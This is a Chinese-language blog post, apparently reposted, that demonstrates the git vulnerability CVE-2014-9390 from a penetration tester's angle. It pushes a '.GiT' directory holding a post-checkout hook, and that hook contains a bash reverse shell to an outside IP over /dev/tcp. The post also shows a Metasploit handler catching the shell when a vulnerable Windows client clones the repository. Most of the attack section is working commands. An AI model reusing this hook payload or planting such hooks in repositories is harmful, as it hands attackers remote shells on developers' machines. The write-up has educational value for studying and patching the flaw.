zoukankan      html  css  js  c++  java
  • One git command may cause you hacked(CVE-2014-9390)

    0x00 背景


    CVE-2014-9390是最近很火的一个漏洞,一个git命令就可能导致你被黑,我不打算深入探讨这个漏洞的细节,官方已经在https://github.com/blog/1938-git-client-vulnerability-announced 和http://article.gmane.org/gmane.linux.kernel/1853266发布了详细信息。总之,如果你使用了大小写不敏感的操作系统例如Windows或OSX,你应该更新git客户端了。

    让我们以渗透测试的角度来看看这个漏洞。

    0x01 准备


    我创建了一个命名为CVE-2014-9390的新项目。

    enter image description here

    建立一个.GiT(大些G,小写i然后大写T)目录,创建一个vulnerable.txt文件,然后push到项目中。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    root@rootlab:~/cve-2014-9390# mkdir .GiT
    root@rootlab:~/cve-2014-9390# cd .GiT/
    root@rootlab:~/cve-2014-9390/.GiT# echo "Vulnerable" >> vulnerable.txt
    root@rootlab:~/cve-2014-9390/.GiT# cd ..
    root@rootlab:~/cve-2014-9390# git add .
    root@rootlab:~/cve-2014-9390# git commit -m 'poc'
    [master bec157d] poc
    1 file changed, 1 insertion(+)
    create mode 100644 .GiT/vulnerable.txt
    root@rootlab:~/cve-2014-9390# git push

    我们再从Windows的电脑上用存在漏洞的git客户端pull同一个项目看看

    1
    2
    3
    4
    5
    6
    7
    8
    9
    rootlab@MINCE ~
    $ git clone git@gitlab.com:mehmet/cve-2014-9390.git
    Cloning into 'cve-2014-9390'...
    Enter passphrase for key '/c/Users/rootlab/.ssh/id_rsa':
    remote: Counting objects: 7, done.
    remote: Compressing objects: 100% (3/3), done.
    remote: Total 7 (delta 0), reused 0 (delta 0)R
    Receiving objects: 100% (7/7), done.
    Checking connectivity... done.

    给大家看一下.git目录,本应该在.GiT目录的vulnerable.txt也在这里

    enter image description here

    0x02 利用


    什么是git的hooks

    与许多其他版本控制系统类似,一些重要的动作发生时,git有一个方法来执行自定义的脚本。hooks分两方面:客户端和服务器端。当进行commit和merge时可以触发客户端的hooks。

    当执行git命令如git pull和git checkout时就可以执行客户端的脚本。

    如何实现git hooks?

    重写.git/hooks目录下的一个脚本文件,然后执行他,我们可以通过这个漏洞来实现。

    我们创建一个假的git目录然后建立一个叫post-checkout的文件。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    root@rootlab:~/cve-2014-9390# mkdir .GiT/hooks
    root@rootlab:~/cve-2014-9390# echo '#!/bin/sh' > .GiT/hooks/post-checkout
    root@rootlab:~/cve-2014-9390# echo 'bash -i >& /dev/tcp/[IPADDRESS]/443 0>&1' >> .GiT/hooks/post-checkout
    root@rootlab:~/cve-2014-9390# git add .
    root@rootlab:~/cve-2014-9390# git commit -m 'add reverse connection payload'
    [master 389c979] add powershell payload
    1 file changed, 4 insertions(+)
    create mode 100644 .GiT/hooks/post-checkout
    root@rootlab:~//cve-2014-9390# git push

    我们在服务器端监听

    1
    2
    3
    4
    5
    6
    7
    msf > use exploit/multi/handler
    msf exploit(handler) > set PAYLOAD generic/shell_reverse_tcp
    msf exploit(handler) > set LPORT 443
    msf exploit(handler) > set LHOST 108.61.164.142
    msf exploit(handler) > exploit
    [*] Started reverse handler on 108.61.164.142:443
    [*] Starting the payload handler...

    我们clone https://gitlab.com/mehmet/cve-2014-9390

    enter image description here

    看起来都是很正常,但是……

    enter image description here

  • 相关阅读:
    第108题:将有序数组转换成二叉搜索树
    第107题:二叉树的层次遍历II
    第106题:从中序与后序遍历序列构造二叉树
    java类读取properties文件
    WdatePicker.js开始日期和结束日期比较
    对两个整数变量的值进行互换
    Java基础知识总结
    jdk环境变量
    逻辑运算符有什么用?
    if和switch的应用
  • 原文地址:https://www.cnblogs.com/zoucaitou/p/4179025.html
Copyright © 2011-2022 走看看